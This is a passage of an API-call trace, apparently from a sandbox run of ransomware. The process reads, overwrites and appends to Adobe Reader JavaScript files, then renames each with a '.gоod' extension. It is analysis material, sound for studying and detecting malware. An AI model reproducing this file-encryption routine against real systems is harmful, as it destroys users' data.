[0253.470] ReadFile (in: hFile=0x808, lpBuffer=0x3a15d30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebcd8, lpOverlapped=0x0 | out: lpBuffer=0x3a15d30*, lpNumberOfBytesRead=0x203ebcd8*=0x1000, lpOverlapped=0x0) returned 1 [0253.497] CloseHandle (hObject=0x808) returned 1 [0253.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", lpFilePart=0x0) returned 0x86 [0253.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0253.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0253.497] GetFileType (hFile=0x808) returned 0x1 [0253.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0253.497] GetFileType (hFile=0x808) returned 0x1 [0253.497] WriteFile (in: hFile=0x808, lpBuffer=0x3a149f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ebd88, lpOverlapped=0x0 | out: lpBuffer=0x3a149f8*, lpNumberOfBytesWritten=0x203ebd88*=0x1010, lpOverlapped=0x0) returned 1 [0253.497] CloseHandle (hObject=0x808) returned 1 [0253.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js", lpFilePart=0x0) returned 0x86 [0253.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js.gоod", lpFilePart=0x0) returned 0x8b [0253.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebcc0) returned 1 [0253.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203ebda0 | out: lpFileInformation=0x203ebda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x934f89f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b930)) returned 1 [0253.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebc80) returned 1 [0253.498] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-selector.js.gоod")) returned 1 [0253.498] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", lpFilePart=0x0) returned 0x87 [0253.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebd00) returned 1 [0253.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x3a92320 | out: lpFileInformation=0x3a92320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5d6b6)) returned 1 [0253.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebcc0) returned 1 [0254.917] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", lpFilePart=0x0) returned 0x87 [0254.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0254.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0254.918] GetFileType (hFile=0x89c) returned 0x1 [0254.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0254.919] GetFileType (hFile=0x89c) returned 0x1 [0254.919] SetFilePointer (in: hFile=0x89c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x1000 [0254.919] ReadFile (in: hFile=0x89c, lpBuffer=0x3d95e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebd28, lpOverlapped=0x0 | out: lpBuffer=0x3d95e68*, lpNumberOfBytesRead=0x203ebd28*=0x1000, lpOverlapped=0x0) returned 1 [0254.920] CloseHandle (hObject=0x89c) returned 1 [0254.920] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", lpFilePart=0x0) returned 0x87 [0254.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0254.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x89c [0254.920] GetFileType (hFile=0x89c) returned 0x1 [0254.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0254.920] GetFileType (hFile=0x89c) returned 0x1 [0254.920] SetFilePointer (in: hFile=0x89c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x5d6b6 [0254.920] WriteFile (in: hFile=0x89c, lpBuffer=0x3d98590*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ebc48, lpOverlapped=0x0 | out: lpBuffer=0x3d98590*, lpNumberOfBytesWritten=0x203ebc48*=0x10, lpOverlapped=0x0) returned 1 [0256.014] CloseHandle (hObject=0x89c) returned 1 [0256.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", lpFilePart=0x0) returned 0x87 [0256.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0256.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0256.335] GetFileType (hFile=0x864) returned 0x1 [0256.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0256.822] GetFileType (hFile=0x864) returned 0x1 [0257.257] ReadFile (in: hFile=0x864, lpBuffer=0x4050b48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebcd8, lpOverlapped=0x0 | out: lpBuffer=0x4050b48*, lpNumberOfBytesRead=0x203ebcd8*=0x1000, lpOverlapped=0x0) returned 1 [0257.305] CloseHandle (hObject=0x864) returned 1 [0257.305] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", lpFilePart=0x0) returned 0x87 [0257.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.305] GetFileType (hFile=0x864) returned 0x1 [0257.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.305] GetFileType (hFile=0x864) returned 0x1 [0257.305] WriteFile (in: hFile=0x864, lpBuffer=0x3b6ca90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ebd88, lpOverlapped=0x0 | out: lpBuffer=0x3b6ca90*, lpNumberOfBytesWritten=0x203ebd88*=0x1010, lpOverlapped=0x0) returned 1 [0257.306] CloseHandle (hObject=0x864) returned 1 [0257.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js", lpFilePart=0x0) returned 0x87 [0257.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js.gоod", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js.gоod", lpFilePart=0x0) returned 0x8c [0257.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebcc0) returned 1 [0257.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), fInfoLevelId=0x0, lpFileInformation=0x203ebda0 | out: lpFileInformation=0x203ebda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95955a5c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d6c6)) returned 1 [0257.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebc80) returned 1 [0257.306] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\convertpdf-tool-view.js.gоod")) returned 1 [0257.307] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", lpFilePart=0x0) returned 0x85 [0257.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebd00) returned 1 [0257.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x40cf3c8 | out: lpFileInformation=0x40cf3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2b968)) returned 1 [0257.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebcc0) returned 1 [0257.308] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", lpFilePart=0x0) returned 0x85 [0257.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.308] GetFileType (hFile=0x864) returned 0x1 [0257.308] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.308] GetFileType (hFile=0x864) returned 0x1 [0257.308] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x1000 [0257.309] ReadFile (in: hFile=0x864, lpBuffer=0x40cf900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebd28, lpOverlapped=0x0 | out: lpBuffer=0x40cf900*, lpNumberOfBytesRead=0x203ebd28*=0x1000, lpOverlapped=0x0) returned 1 [0257.555] CloseHandle (hObject=0x864) returned 1 [0257.555] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", lpFilePart=0x0) returned 0x85 [0257.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.555] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.555] GetFileType (hFile=0x864) returned 0x1 [0257.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.555] GetFileType (hFile=0x864) returned 0x1 [0257.555] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ebd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ebd58*=0) returned 0x2b968 [0257.555] WriteFile (in: hFile=0x864, lpBuffer=0x3cb7d10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ebc48, lpOverlapped=0x0 | out: lpBuffer=0x3cb7d10*, lpNumberOfBytesWritten=0x203ebc48*=0x10, lpOverlapped=0x0) returned 1 [0257.556] CloseHandle (hObject=0x864) returned 1 [0257.556] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", lpFilePart=0x0) returned 0x85 [0257.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.557] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.557] GetFileType (hFile=0x864) returned 0x1 [0257.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.557] GetFileType (hFile=0x864) returned 0x1 [0257.557] ReadFile (in: hFile=0x864, lpBuffer=0x3cba0c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebcd8, lpOverlapped=0x0 | out: lpBuffer=0x3cba0c0*, lpNumberOfBytesRead=0x203ebcd8*=0x1000, lpOverlapped=0x0) returned 1 [0257.591] CloseHandle (hObject=0x864) returned 1 [0257.591] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", lpFilePart=0x0) returned 0x85 [0257.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebc00) returned 1 [0257.591] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.591] GetFileType (hFile=0x864) returned 0x1 [0257.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb70) returned 1 [0257.591] GetFileType (hFile=0x864) returned 0x1 [0257.591] WriteFile (in: hFile=0x864, lpBuffer=0x3cb8d88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ebd88, lpOverlapped=0x0 | out: lpBuffer=0x3cb8d88*, lpNumberOfBytesWritten=0x203ebd88*=0x1010, lpOverlapped=0x0) returned 1 [0257.592] CloseHandle (hObject=0x864) returned 1 [0257.592] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js", lpFilePart=0x0) returned 0x85 [0257.592] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js.gоod", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js.gоod", lpFilePart=0x0) returned 0x8a [0257.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebcc0) returned 1 [0257.592] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), fInfoLevelId=0x0, lpFileInformation=0x203ebda0 | out: lpFileInformation=0x203ebda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95c04280, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2b978)) returned 1 [0257.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebc80) returned 1 [0257.592] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-selector.js.gоod")) returned 1 [0257.593] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js", lpFilePart=0x0) returned 0x86 [0257.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebd00) returned 1 [0257.593] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\exportpdf-tool-view.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 